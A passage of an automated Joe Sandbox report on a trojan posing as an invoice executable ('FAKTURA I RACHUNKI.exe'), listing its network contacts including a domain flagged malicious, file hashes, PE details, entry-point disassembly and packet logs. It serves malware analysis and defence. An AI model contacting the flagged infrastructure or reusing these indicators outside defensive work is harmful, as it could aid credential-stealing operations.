                  http://mail.brimaq.comRegAsm.exe, 00000002.00000002.614735524.000000001DE41000.00000004.00000001.sdmpfalse
                  • Avira URL Cloud: safe
                  unknown
                  http://r3.o.lencr.org0RegAsm.exe, 00000002.00000002.609079572.0000000001300000.00000004.00000020.sdmpfalse
                  • URL Reputation: safe
                  • URL Reputation: safe
                  • URL Reputation: safe
                  unknown
                  http://pki.goog/gsr2/GTS1O1.crt0RegAsm.exe, 00000002.00000002.609009636.00000000012BB000.00000004.00000020.sdmpfalse
                  • URL Reputation: safe
                  • URL Reputation: safe
                  • URL Reputation: safe
                  unknown
                  http://crl.pki.goog/gsr2/gsr2.crl0?RegAsm.exe, 00000002.00000002.608987093.000000000129C000.00000004.00000020.sdmpfalse
                  • URL Reputation: safe
                  • URL Reputation: safe
                  • URL Reputation: safe
                  unknown
                  https://pki.goog/repository/0RegAsm.exe, 00000002.00000002.608987093.000000000129C000.00000004.00000020.sdmpfalse
                  • URL Reputation: safe
                  • URL Reputation: safe
                  • URL Reputation: safe
                  unknown
                  http://bbllRW.comRegAsm.exe, 00000002.00000002.614309170.000000001DAE1000.00000004.00000001.sdmpfalse
                  • Avira URL Cloud: safe
                  unknown
                  http://cps.root-x1.letsencrypt.org0RegAsm.exe, 00000002.00000002.609079572.0000000001300000.00000004.00000020.sdmpfalse
                  • URL Reputation: safe
                  • URL Reputation: safe
                  • URL Reputation: safe
                  unknown
                  http://r3.i.lencr.org/0RegAsm.exe, 00000002.00000002.609079572.0000000001300000.00000004.00000020.sdmpfalse
                  • URL Reputation: safe
                  • URL Reputation: safe
                  • URL Reputation: safe
                  unknown

                  Contacted IPs

                  • No. of IPs < 25%
                  • 25% < No. of IPs < 50%
                  • 50% < No. of IPs < 75%
                  • 75% < No. of IPs

                  Public

                  IPDomainCountryFlagASNASN NameMalicious
                  172.217.168.33
                  googlehosted.l.googleusercontent.comUnited States
                  15169GOOGLEUSfalse
                  78.128.8.31
                  brimaq.comBulgaria
                  31083TELEPOINTBGtrue

                  General Information

                  Joe Sandbox Version:31.0.0 Emerald
                  Analysis ID:383950
                  Start date:08.04.2021
                  Start time:12:58:33
                  Joe Sandbox Product:CloudBasic
                  Overall analysis duration:0h 7m 14s
                  Hypervisor based Inspection enabled:false
                  Report type:full
                  Sample file name:FAKTURA I RACHUNKI.exe
                  Cookbook file name:default.jbs
                  Analysis system description:Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
                  Number of analysed new started processes analysed:22
                  Number of new started drivers analysed:0
                  Number of existing processes analysed:0
                  Number of existing drivers analysed:0
                  Number of injected processes analysed:0
                  Technologies:
                  • HCA enabled
                  • EGA enabled
                  • HDC enabled
                  • AMSI enabled
                  Analysis Mode:default
                  Analysis stop reason:Timeout
                  Detection:MAL
                  Classification:mal100.troj.spyw.evad.winEXE@6/1@3/2
                  EGA Information:Failed
                  HDC Information:
                  • Successful, ratio: 51.5% (good quality ratio 26.6%)
                  • Quality average: 29.1%
                  • Quality standard deviation: 32.4%
                  HCA Information:
                  • Successful, ratio: 97%
                  • Number of executed functions: 36
                  • Number of non-executed functions: 59
                  Cookbook Comments:
                  • Adjust boot time
                  • Enable AMSI
                  • Found application associated with file extension: .exe
                  Warnings:
                  Show All
                  • Exclude process from analysis (whitelisted): MpCmdRun.exe, audiodg.exe, BackgroundTransferHost.exe, WMIADAP.exe, backgroundTaskHost.exe, conhost.exe, svchost.exe, wuapihost.exe
                  • Excluded IPs from analysis (whitelisted): 52.255.188.83, 104.42.151.234, 13.64.90.137, 20.82.210.154, 172.217.168.14, 23.10.249.26, 23.10.249.43, 104.43.139.144, 67.26.73.254, 67.26.81.254, 8.241.90.126, 8.238.27.126, 8.241.89.254, 52.155.217.156, 20.54.26.129, 104.43.193.48, 52.147.198.201, 95.100.54.203, 20.82.209.183
                  • Excluded domains from analysis (whitelisted): arc.msn.com.nsatc.net, a1449.dscg2.akamai.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, arc.msn.com, consumerrp-displaycatalog-aks2eap-europe.md.mp.microsoft.com.akadns.net, db5eap.displaycatalog.md.mp.microsoft.com.akadns.net, audownload.windowsupdate.nsatc.net, arc.trafficmanager.net, drive.google.com, displaycatalog.mp.microsoft.com, watson.telemetry.microsoft.com, img-prod-cms-rt-microsoft-com.akamaized.net, auto.au.download.windowsupdate.com.c.footprint.net, consumerrp-displaycatalog-aks2eap.md.mp.microsoft.com.akadns.net, prod.fs.microsoft.com.akadns.net, au-bg-shim.trafficmanager.net, displaycatalog-europeeap.md.mp.microsoft.com.akadns.net, skypedataprdcolwus17.cloudapp.net, fs.microsoft.com, displaycatalog-rp-europe.md.mp.microsoft.com.akadns.net, displaycatalog.md.mp.microsoft.com.akadns.net, ris-prod.trafficmanager.net, ctldl.windowsupdate.com, e1723.g.akamaiedge.net, skypedataprdcolcus16.cloudapp.net, skypedataprdcolcus15.cloudapp.net, ris.api.iris.microsoft.com, skypedataprdcoleus16.cloudapp.net, skypedataprdcoleus17.cloudapp.net, blobcollector.events.data.trafficmanager.net, skypedataprdcolwus16.cloudapp.net, displaycatalog-rp.md.mp.microsoft.com.akadns.net
                  • Report size getting too big, too many NtAllocateVirtualMemory calls found.
                  • Report size getting too big, too many NtOpenKeyEx calls found.
                  • Report size getting too big, too many NtProtectVirtualMemory calls found.
                  • Report size getting too big, too many NtQueryValueKey calls found.

                  Simulations

                  Behavior and APIs

                  TimeTypeDescription
                  13:00:03API Interceptor652x Sleep call for process: RegAsm.exe modified

                  Joe Sandbox View / Context

                  IPs

                  No context

                  Domains

                  MatchAssociated Sample Name / URLSHA 256DetectionLinkContext

                  ASN

                  MatchAssociated Sample Name / URLSHA 256DetectionLinkContext
                  TELEPOINTBG0AX4532QWSA.xlsxGet hashmaliciousBrowse
                  • 217.174.152.38
                  INV8222874744_20210111490395.xlsmGet hashmaliciousBrowse
                  • 217.174.149.3
                  spetsifikatsiya.xlsGet hashmaliciousBrowse
                  • 79.124.76.20
                  spetsifikatsiya.xlsGet hashmaliciousBrowse
                  • 79.124.76.20
                  document-1932597637.xlsGet hashmaliciousBrowse
                  • 217.174.152.52
                  document-1932597637.xlsGet hashmaliciousBrowse
                  • 217.174.152.52
                  document-1961450761.xlsGet hashmaliciousBrowse
                  • 217.174.152.52
                  document-1909441643.xlsGet hashmaliciousBrowse
                  • 217.174.152.52
                  document-1961450761.xlsGet hashmaliciousBrowse
                  • 217.174.152.52
                  document-1909441643.xlsGet hashmaliciousBrowse
                  • 217.174.152.52
                  document-1942925331.xlsGet hashmaliciousBrowse
                  • 217.174.152.52
                  document-1942925331.xlsGet hashmaliciousBrowse
                  • 217.174.152.52
                  document-1892683183.xlsGet hashmaliciousBrowse
                  • 217.174.152.52
                  document-1892683183.xlsGet hashmaliciousBrowse
                  • 217.174.152.52
                  document-1909894964.xlsGet hashmaliciousBrowse
                  • 217.174.152.52
                  document-1909894964.xlsGet hashmaliciousBrowse
                  • 217.174.152.52
                  document-1965918496.xlsGet hashmaliciousBrowse
                  • 217.174.152.52
                  document-1965918496.xlsGet hashmaliciousBrowse
                  • 217.174.152.52
                  document-1901557343.xlsGet hashmaliciousBrowse
                  • 217.174.152.52
                  document-1901557343.xlsGet hashmaliciousBrowse
                  • 217.174.152.52

                  JA3 Fingerprints

                  MatchAssociated Sample Name / URLSHA 256DetectionLinkContext
                  37f463bf4616ecd445d4a1937da06e19WDnE51mua6.exeGet hashmaliciousBrowse
                  • 172.217.168.33
                  ikoAImKWvI.exeGet hashmaliciousBrowse
                  • 172.217.168.33
                  V7UnYc7CCN.exeGet hashmaliciousBrowse
                  • 172.217.168.33
                  SM25.vbsGet hashmaliciousBrowse
                  • 172.217.168.33
                  FQ45.vbsGet hashmaliciousBrowse
                  • 172.217.168.33
                  Signed pages of agreement copy.htmlGet hashmaliciousBrowse
                  • 172.217.168.33
                  Payment Report.htmlGet hashmaliciousBrowse
                  • 172.217.168.33
                  dMeVLLeyLc.exeGet hashmaliciousBrowse
                  • 172.217.168.33
                  avast_secure_browser_setup.exeGet hashmaliciousBrowse
                  • 172.217.168.33
                  PaymentAdvice-copy.htmGet hashmaliciousBrowse
                  • 172.217.168.33
                  57fvgYpwnN.exeGet hashmaliciousBrowse
                  • 172.217.168.33
                  8e29685862fc0d569411c311852d3bb2da2eedb25fc9085a95020b17ddc073a9.xlsGet hashmaliciousBrowse
                  • 172.217.168.33
                  9mm case for ROYAL METAL INDUSTRIES 3milmonth Specification drawings.exeGet hashmaliciousBrowse
                  • 172.217.168.33
                  Scan emco Bautechni specification.ppsGet hashmaliciousBrowse
                  • 172.217.168.33
                  Lista e porosive te blerjes.exeGet hashmaliciousBrowse
                  • 172.217.168.33
                  Notice-039539.xlsmGet hashmaliciousBrowse
                  • 172.217.168.33
                  IMG_767893434432.exeGet hashmaliciousBrowse
                  • 172.217.168.33
                  OH76.vbsGet hashmaliciousBrowse
                  • 172.217.168.33
                  INVOICE_.EXEGet hashmaliciousBrowse
                  • 172.217.168.33
                  FED8GODpaD.xlsbGet hashmaliciousBrowse
                  • 172.217.168.33

                  Dropped Files

                  No context

                  Created / dropped Files

                  \Device\ConDrv
                  Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
                  File Type:ASCII text, with CRLF line terminators
                  Category:dropped
                  Size (bytes):30
                  Entropy (8bit):3.964735178725505
                  Encrypted:false
                  SSDEEP:3:IBVFBWAGRHneyy:ITqAGRHner
                  MD5:9F754B47B351EF0FC32527B541420595
                  SHA1:006C66220B33E98C725B73495FE97B3291CE14D9
                  SHA-256:0219D77348D2F0510025E188D4EA84A8E73F856DEB5E0878D673079D05840591
                  SHA-512:C6996379BCB774CE27EEEC0F173CBACC70CA02F3A773DD879E3A42DA554535A94A9C13308D14E873C71A338105804AFFF32302558111EE880BA0C41747A08532
                  Malicious:false
                  Reputation:moderate, very likely benign file
                  Preview: NordVPN directory not found!..

                  Static File Info

                  General

                  File type:PE32 executable (GUI) Intel 80386, for MS Windows
                  Entropy (8bit):5.820730298106959
                  TrID:
                  • Win32 Executable (generic) a (10002005/4) 99.15%
                  • Win32 Executable Microsoft Visual Basic 6 (82127/2) 0.81%
                  • Generic Win/DOS Executable (2004/3) 0.02%
                  • DOS Executable Generic (2002/1) 0.02%
                  • Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
                  File name:FAKTURA I RACHUNKI.exe
                  File size:126976
                  MD5:ac62ebbbf6ec96f48a8cca64793bf8fb
                  SHA1:c1e10d41d090cb7d0505b46a1b48f3f533aa6aad
                  SHA256:5708e5be9ec5564f3f16b38f87b0c7a0178274ed580a8566e31a995a80e353bb
                  SHA512:3e6581e22319fa6adc526ee5c62352ccf0b45a7f519d9fa82c060acce7e6df1feac6ea971865866b113d6470a325939cc330a1e6f343c70d90eb1ffd14309951
                  SSDEEP:1536:f3GouBdGoPd3YqbfztVcOOTb3kCQv5i8+FMOihGo:fGZBdGcO0tVcOO/vQY8tOihG
                  File Content Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......u...1...1...1.......0...~...0.......0...Rich1...........PE..L.....zT.....................`....................@................

                  File Icon

                  Icon Hash:0ccea09899191898

                  Static PE Info

                  General

                  Entrypoint:0x4016bc
                  Entrypoint Section:.text
                  Digitally signed:false
                  Imagebase:0x400000
                  Subsystem:windows gui
                  Image File Characteristics:LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, RELOCS_STRIPPED
                  DLL Characteristics:
                  Time Stamp:0x547AB41E [Sun Nov 30 06:07:26 2014 UTC]
                  TLS Callbacks:
                  CLR (.Net) Version:
                  OS Version Major:4
                  OS Version Minor:0
                  File Version Major:4
                  File Version Minor:0
                  Subsystem Version Major:4
                  Subsystem Version Minor:0
                  Import Hash:b99d75676bd131a32dd8593967e4443d

                  Entrypoint Preview

                  Instruction
                  push 0041091Ch
                  call 00007F4DA0B864F3h
                  add byte ptr [eax], al
                  add byte ptr [eax], al
                  add byte ptr [eax], al
                  xor byte ptr [eax], al
                  add byte ptr [eax], al
                  inc eax
                  add byte ptr [eax], al
                  add byte ptr [eax], al
                  add byte ptr [eax], al
                  add ch, dh
                  call far 40C9h : A7DC1FC2h
                  stosd
                  mov es, word ptr [eax-509AA2ADh]
                  stc
                  add byte ptr [eax], al
                  add byte ptr [eax], al
                  add byte ptr [eax], al
                  add dword ptr [eax], eax
                  add byte ptr [eax], al
                  insd
                  popad
                  xor dword ptr [bx+si], esp
                  push esp
                  jc 00007F4DA0B86563h
                  jo 00007F4DA0B86567h
                  jp 00007F4DA0B8656Bh
                  popad
                  insb
                  add byte ptr [ecx+67h], ch
                  push 00202074h
                  add byte ptr [eax], al
                  add bh, bh
                  int3
                  xor dword ptr [eax], eax
                  sub byte ptr [eax-4Dh], ah
                  into
                  lodsd
                  pop edx
                  mov cs, word ptr [ebp+eax*2-78h]
                  jnle 00007F4DA0B86566h
                  cmp byte ptr [edi-61h], al
                  push 1519A6C9h
                  mov gs, word ptr [ecx]
                  hlt
                  inc esp
                  inc ebx
                  cmp dword ptr [D1967FB6h], 4F3A498Dh
                  lodsd
                  xor ebx, dword ptr [ecx-48EE309Ah]
                  or al, 00h
                  stosb
                  add byte ptr [eax-2Dh], ah
                  xchg eax, ebx
                  add byte ptr [eax], al
                  add byte ptr [eax], al
                  add byte ptr [eax], al
                  add byte ptr [eax], al
                  add byte ptr [eax], al
                  add byte ptr [eax], al
                  add byte ptr [eax], al
                  add byte ptr [eax], al
                  add byte ptr [eax], al
                  add byte ptr [eax], al
                  add byte ptr [eax], al
                  add byte ptr [eax], al
                  add byte ptr [eax], al
                  add byte ptr [eax], al
                  add byte ptr [eax], al
                  add byte ptr [eax], al
                  add byte ptr [eax], al
                  add byte ptr [eax], al
                  das
                  int1
                  add byte ptr [eax], al
                  rol byte ptr [eax+eax+00h], cl
                  add byte ptr [636F5300h], al
                  imul esp, dword ptr [ecx+00h], 0006010Dh
                  outsb
                  jne 00007F4DA0B86575h
                  jns 00007F4DA0B86572h
                  add byte ptr [ecx], bl
                  add dword ptr [eax], eax

                  Data Directories

                  NameVirtual AddressVirtual Size Is in Section
                  IMAGE_DIRECTORY_ENTRY_EXPORT0x00x0
                  IMAGE_DIRECTORY_ENTRY_IMPORT0x187540x28.text
                  IMAGE_DIRECTORY_ENTRY_RESOURCE0x1a0000x4856.rsrc
                  IMAGE_DIRECTORY_ENTRY_EXCEPTION0x00x0
                  IMAGE_DIRECTORY_ENTRY_SECURITY0x00x0
                  IMAGE_DIRECTORY_ENTRY_BASERELOC0x00x0
                  IMAGE_DIRECTORY_ENTRY_DEBUG0x00x0
                  IMAGE_DIRECTORY_ENTRY_COPYRIGHT0x00x0
                  IMAGE_DIRECTORY_ENTRY_GLOBALPTR0x00x0
                  IMAGE_DIRECTORY_ENTRY_TLS0x00x0
                  IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG0x00x0
                  IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT0x2280x20
                  IMAGE_DIRECTORY_ENTRY_IAT0x10000x160.text
                  IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT0x00x0
                  IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR0x00x0
                  IMAGE_DIRECTORY_ENTRY_RESERVED0x00x0

                  Sections

                  NameVirtual AddressVirtual SizeRaw SizeXored PEZLIB ComplexityFile TypeEntropyCharacteristics
                  .text0x10000x17cd80x18000False0.399688720703data6.38244790313IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
                  .data0x190000xaf40x1000False0.00634765625data0.0IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
                  .rsrc0x1a0000x48560x5000False0.414111328125data4.36134725027IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

                  Resources

                  NameRVASizeTypeLanguageCountry
                  RT_ICON0x1c2ae0x25a8data
                  RT_ICON0x1b2060x10a8data
                  RT_ICON0x1a87e0x988data
                  RT_ICON0x1a4160x468GLS_BINARY_LSB_FIRST
                  RT_GROUP_ICON0x1a3d80x3edata
                  RT_VERSION0x1a1800x258dataEnglishUnited States

                  Imports

                  DLLImport
                  MSVBVM60.DLL_CIcos, _adj_fptan, __vbaFreeVar, __vbaStrVarMove, __vbaFreeVarList, __vbaEnd, _adj_fdiv_m64, __vbaFreeObjList, _adj_fprem1, __vbaSetSystemError, __vbaHresultCheckObj, _adj_fdiv_m32, __vbaAryVar, __vbaAryDestruct, __vbaVarForInit, __vbaObjSet, __vbaOnError, _adj_fdiv_m16i, _adj_fdivr_m16i, __vbaFpR8, _CIsin, __vbaChkstk, EVENT_SINK_AddRef, __vbaStrCmp, DllFunctionCall, _adj_fpatan, __vbaLateIdCallLd, EVENT_SINK_Release, _CIsqrt, EVENT_SINK_QueryInterface, __vbaExceptHandler, _adj_fprem, _adj_fdivr_m64, __vbaFPException, __vbaStrVarVal, _CIlog, __vbaNew2, __vbaR8Str, _adj_fdiv_m32i, _adj_fdivr_m32i, __vbaStrCopy, __vbaI4Str, __vbaFreeStrList, _adj_fdivr_m32, _adj_fdiv_r, __vbaVarTstNe, __vbaI4Var, __vbaVarAdd, __vbaVarDup, __vbaStrToAnsi, __vbaFpI4, _CIatan, __vbaStrMove, __vbaCastObj, __vbaAryCopy, _allmul, __vbaLateIdSt, _CItan, __vbaFPInt, __vbaVarForNext, _CIexp, __vbaFreeObj, __vbaFreeStr

                  Version Infos

                  DescriptionData
                  Translation0x0409 0x04b0
                  InternalNamespiritu
                  FileVersion3.00
                  CompanyNameSalty
                  CommentsSalty
                  ProductNameSalty
                  ProductVersion3.00
                  FileDescriptionSalty
                  OriginalFilenamespiritu.exe

                  Possible Origin

                  Language of compilation systemCountry where language is spokenMap
                  EnglishUnited States

                  Network Behavior

                  Network Port Distribution

                  TCP Packets

                  TimestampSource PortDest PortSource IPDest IP
                  Apr 8, 2021 12:59:54.076888084 CEST49717443192.168.2.6172.217.168.33
                  Apr 8, 2021 12:59:54.088737965 CEST44349717172.217.168.33192.168.2.6
                  Apr 8, 2021 12:59:54.088859081 CEST49717443192.168.2.6172.217.168.33
                  Apr 8, 2021 12:59:54.089565992 CEST49717443192.168.2.6172.217.168.33
                  Apr 8, 2021 12:59:54.101257086 CEST44349717172.217.168.33192.168.2.6
                  Apr 8, 2021 12:59:54.113404989 CEST44349717172.217.168.33192.168.2.6
                  Apr 8, 2021 12:59:54.113428116 CEST44349717172.217.168.33192.168.2.6
                  Apr 8, 2021 12:59:54.113444090 CEST44349717172.217.168.33192.168.2.6
                  Apr 8, 2021 12:59:54.113456011 CEST44349717172.217.168.33192.168.2.6
                  Apr 8, 2021 12:59:54.113595009 CEST49717443192.168.2.6172.217.168.33
                  Apr 8, 2021 12:59:54.130697012 CEST49717443192.168.2.6172.217.168.33
                  Apr 8, 2021 12:59:54.142597914 CEST44349717172.217.168.33192.168.2.6
                  Apr 8, 2021 12:59:54.142709017 CEST49717443192.168.2.6172.217.168.33
                  Apr 8, 2021 12:59:54.143599033 CEST49717443192.168.2.6172.217.168.33
                  Apr 8, 2021 12:59:54.159888029 CEST44349717172.217.168.33192.168.2.6
                  Apr 8, 2021 12:59:54.354562998 CEST44349717172.217.168.33192.168.2.6
                  Apr 8, 2021 12:59:54.354589939 CEST44349717172.217.168.33192.168.2.6
                  Apr 8, 2021 12:59:54.354608059 CEST44349717172.217.168.33192.168.2.6
                  Apr 8, 2021 12:59:54.354626894 CEST44349717172.217.168.33192.168.2.6
                  Apr 8, 2021 12:59:54.354655981 CEST44349717172.217.168.33192.168.2.6
                  Apr 8, 2021 12:59:54.354758024 CEST49717443192.168.2.6172.217.168.33
                  Apr 8, 2021 12:59:54.354823112 CEST49717443192.168.2.6172.217.168.33
                  Apr 8, 2021 12:59:54.355194092 CEST44349717172.217.168.33192.168.2.6
                  Apr 8, 2021 12:59:54.355216026 CEST44349717172.217.168.33192.168.2.6
                  Apr 8, 2021 12:59:54.355305910 CEST49717443192.168.2.6172.217.168.33
                  Apr 8, 2021 12:59:54.355993032 CEST44349717172.217.168.33192.168.2.6
                  Apr 8, 2021 12:59:54.356015921 CEST44349717172.217.168.33192.168.2.6
                  Apr 8, 2021 12:59:54.356112957 CEST49717443192.168.2.6172.217.168.33
                  Apr 8, 2021 12:59:54.356779099 CEST44349717172.217.168.33192.168.2.6
                  Apr 8, 2021 12:59:54.356802940 CEST44349717172.217.168.33192.168.2.6
                  Apr 8, 2021 12:59:54.356880903 CEST49717443192.168.2.6172.217.168.33
                  Apr 8, 2021 12:59:54.357748985 CEST44349717172.217.168.33192.168.2.6
                  Apr 8, 2021 12:59:54.357769012 CEST44349717172.217.168.33192.168.2.6
                  Apr 8, 2021 12:59:54.357866049 CEST49717443192.168.2.6172.217.168.33
                  Apr 8, 2021 12:59:54.364959955 CEST44349717172.217.168.33192.168.2.6
                  Apr 8, 2021 12:59:54.365125895 CEST49717443192.168.2.6172.217.168.33
                  Apr 8, 2021 12:59:54.366472960 CEST44349717172.217.168.33192.168.2.6
                  Apr 8, 2021 12:59:54.366497993 CEST44349717172.217.168.33192.168.2.6
                  Apr 8, 2021 12:59:54.366682053 CEST49717443192.168.2.6172.217.168.33
                  Apr 8, 2021 12:59:54.366864920 CEST44349717172.217.168.33192.168.2.6
                  Apr 8, 2021 12:59:54.367209911 CEST44349717172.217.168.33192.168.2.6
                  Apr 8, 2021 12:59:54.367291927 CEST49717443192.168.2.6172.217.168.33
                  Apr 8, 2021 12:59:54.367693901 CEST44349717172.217.168.33192.168.2.6
                  Apr 8, 2021 12:59:54.367894888 CEST44349717172.217.168.33192.168.2.6
                  Apr 8, 2021 12:59:54.367980003 CEST49717443192.168.2.6172.217.168.33
                  Apr 8, 2021 12:59:54.368638992 CEST44349717172.217.168.33192.168.2.6
                  Apr 8, 2021 12:59:54.368758917 CEST44349717172.217.168.33192.168.2.6
                  Apr 8, 2021 12:59:54.368822098 CEST49717443192.168.2.6172.217.168.33
                  Apr 8, 2021 12:59:54.368874073 CEST49717443192.168.2.6172.217.168.33
                  Apr 8, 2021 12:59:54.369818926 CEST44349717172.217.168.33192.168.2.6
                  Apr 8, 2021 12:59:54.369843960 CEST44349717172.217.168.33192.168.2.6
                  Apr 8, 2021 12:59:54.369930029 CEST49717443192.168.2.6172.217.168.33
                  Apr 8, 2021 12:59:54.370223999 CEST44349717172.217.168.33192.168.2.6
                  Apr 8, 2021 12:59:54.370275021 CEST44349717172.217.168.33192.168.2.6
                  Apr 8, 2021 12:59:54.370357037 CEST49717443192.168.2.6172.217.168.33
                  Apr 8, 2021 12:59:54.371006966 CEST44349717172.217.168.33192.168.2.6
                  Apr 8, 2021 12:59:54.371105909 CEST49717443192.168.2.6172.217.168.33
                  Apr 8, 2021 12:59:54.371113062 CEST44349717172.217.168.33192.168.2.6
                  Apr 8, 2021 12:59:54.371175051 CEST49717443192.168.2.6172.217.168.33
                  Apr 8, 2021 12:59:54.371829033 CEST44349717172.217.168.33192.168.2.6
                  Apr 8, 2021 12:59:54.371851921 CEST44349717172.217.168.33192.168.2.6
                  Apr 8, 2021 12:59:54.371922016 CEST49717443192.168.2.6172.217.168.33
                  Apr 8, 2021 12:59:54.371952057 CEST49717443192.168.2.6172.217.168.33
                  Apr 8, 2021 12:59:54.372915030 CEST44349717172.217.168.33192.168.2.6
                  Apr 8, 2021 12:59:54.372982979 CEST44349717172.217.168.33192.168.2.6
                  Apr 8, 2021 12:59:54.373075962 CEST49717443192.168.2.6172.217.168.33
                  Apr 8, 2021 12:59:54.373658895 CEST44349717172.217.168.33192.168.2.6
                  Apr 8, 2021 12:59:54.373719931 CEST44349717172.217.168.33192.168.2.6
                  Apr 8, 2021 12:59:54.373898029 CEST49717443192.168.2.6172.217.168.33
                  Apr 8, 2021 12:59:54.374234915 CEST44349717172.217.168.33192.168.2.6
                  Apr 8, 2021 12:59:54.374309063 CEST49717443192.168.2.6172.217.168.33
                  Apr 8, 2021 12:59:54.374337912 CEST44349717172.217.168.33192.168.2.6
                  Apr 8, 2021 12:59:54.374456882 CEST49717443192.168.2.6172.217.168.33
                  Apr 8, 2021 12:59:54.375217915 CEST44349717172.217.168.33192.168.2.6
                  Apr 8, 2021 12:59:54.375255108 CEST44349717172.217.168.33192.168.2.6
                  Apr 8, 2021 12:59:54.375348091 CEST49717443192.168.2.6172.217.168.33
                  Apr 8, 2021 12:59:54.375797033 CEST44349717172.217.168.33192.168.2.6
                  Apr 8, 2021 12:59:54.376125097 CEST49717443192.168.2.6172.217.168.33
                  Apr 8, 2021 12:59:54.378381968 CEST44349717172.217.168.33192.168.2.6
                  Apr 8, 2021 12:59:54.378416061 CEST44349717172.217.168.33192.168.2.6
                  Apr 8, 2021 12:59:54.378458977 CEST44349717172.217.168.33192.168.2.6
                  Apr 8, 2021 12:59:54.378469944 CEST49717443192.168.2.6172.217.168.33
                  Apr 8, 2021 12:59:54.378506899 CEST49717443192.168.2.6172.217.168.33
                  Apr 8, 2021 12:59:54.378515005 CEST49717443192.168.2.6172.217.168.33
                  Apr 8, 2021 12:59:54.379914045 CEST44349717172.217.168.33192.168.2.6
                  Apr 8, 2021 12:59:54.379949093 CEST44349717172.217.168.33192.168.2.6
                  Apr 8, 2021 12:59:54.380044937 CEST44349717172.217.168.33192.168.2.6
                  Apr 8, 2021 12:59:54.380048037 CEST49717443192.168.2.6172.217.168.33
                  Apr 8, 2021 12:59:54.380075932 CEST44349717172.217.168.33192.168.2.6
                  Apr 8, 2021 12:59:54.380146980 CEST49717443192.168.2.6172.217.168.33
                  Apr 8, 2021 12:59:54.380645990 CEST44349717172.217.168.33192.168.2.6
                  Apr 8, 2021 12:59:54.380678892 CEST44349717172.217.168.33192.168.2.6
                  Apr 8, 2021 12:59:54.380744934 CEST44349717172.217.168.33192.168.2.6
                  Apr 8, 2021 12:59:54.380775928 CEST49717443192.168.2.6172.217.168.33
                  Apr 8, 2021 12:59:54.380812883 CEST49717443192.168.2.6172.217.168.33
                  Apr 8, 2021 12:59:54.381489992 CEST44349717172.217.168.33192.168.2.6
                  Apr 8, 2021 12:59:54.381524086 CEST44349717172.217.168.33192.168.2.6
                  Apr 8, 2021 12:59:54.381567955 CEST44349717172.217.168.33192.168.2.6
                  Apr 8, 2021 12:59:54.381623030 CEST49717443192.168.2.6172.217.168.33
                  Apr 8, 2021 12:59:54.381665945 CEST49717443192.168.2.6172.217.168.33
                  Apr 8, 2021 12:59:54.382430077 CEST44349717172.217.168.33192.168.2.6
                  Apr 8, 2021 12:59:54.382464886 CEST44349717172.217.168.33192.168.2.6
                  Apr 8, 2021 12:59:54.382566929 CEST49717443192.168.2.6172.217.168.33
                  Apr 8, 2021 12:59:54.382662058 CEST44349717172.217.168.33192.168.2.6
                  Apr 8, 2021 12:59:54.382811069 CEST49717443192.168.2.6172.217.168.33
                  Apr 8, 2021 12:59:54.383375883 CEST44349717172.217.168.33192.168.2.6
                  Apr 8, 2021 12:59:54.383410931 CEST44349717172.217.168.33192.168.2.6
                  Apr 8, 2021 12:59:54.383493900 CEST44349717172.217.168.33192.168.2.6
                  Apr 8, 2021 12:59:54.383505106 CEST49717443192.168.2.6172.217.168.33
                  Apr 8, 2021 12:59:54.383646011 CEST49717443192.168.2.6172.217.168.33
                  Apr 8, 2021 12:59:54.384167910 CEST44349717172.217.168.33192.168.2.6
                  Apr 8, 2021 12:59:54.384202957 CEST44349717172.217.168.33192.168.2.6
                  Apr 8, 2021 12:59:54.384243011 CEST44349717172.217.168.33192.168.2.6
                  Apr 8, 2021 12:59:54.384298086 CEST49717443192.168.2.6172.217.168.33
                  Apr 8, 2021 12:59:54.384339094 CEST49717443192.168.2.6172.217.168.33
                  Apr 8, 2021 12:59:54.385134935 CEST44349717172.217.168.33192.168.2.6
                  Apr 8, 2021 12:59:54.385169983 CEST44349717172.217.168.33192.168.2.6
                  Apr 8, 2021 12:59:54.385258913 CEST49717443192.168.2.6172.217.168.33
                  Apr 8, 2021 12:59:54.385365963 CEST44349717172.217.168.33192.168.2.6
                  Apr 8, 2021 12:59:54.385507107 CEST49717443192.168.2.6172.217.168.33
                  Apr 8, 2021 12:59:54.385827065 CEST44349717172.217.168.33192.168.2.6
                  Apr 8, 2021 12:59:54.385951996 CEST49717443192.168.2.6172.217.168.33
                  Apr 8, 2021 12:59:54.391371012 CEST44349717172.217.168.33192.168.2.6
                  Apr 8, 2021 12:59:54.391408920 CEST44349717172.217.168.33192.168.2.6
                  Apr 8, 2021 12:59:54.391450882 CEST44349717172.217.168.33192.168.2.6
                  Apr 8, 2021 12:59:54.391510010 CEST49717443192.168.2.6172.217.168.33
                  Apr 8, 2021 12:59:54.391546011 CEST49717443192.168.2.6172.217.168.33
                  Apr 8, 2021 12:59:54.391664982 CEST44349717172.217.168.33192.168.2.6
                  Apr 8, 2021 12:59:54.391726017 CEST49717443192.168.2.6172.217.168.33
                  Apr 8, 2021 12:59:54.391748905 CEST44349717172.217.168.33192.168.2.6
                  Apr 8, 2021 12:59:54.391781092 CEST44349717172.217.168.33192.168.2.6
                  Apr 8, 2021 12:59:54.391813040 CEST44349717172.217.168.33192.168.2.6
                  Apr 8, 2021 12:59:54.391829014 CEST49717443192.168.2.6172.217.168.33
                  Apr 8, 2021 12:59:54.391865015 CEST49717443192.168.2.6172.217.168.33
                  Apr 8, 2021 12:59:54.392373085 CEST44349717172.217.168.33192.168.2.6
                  Apr 8, 2021 12:59:54.392404079 CEST44349717172.217.168.33192.168.2.6
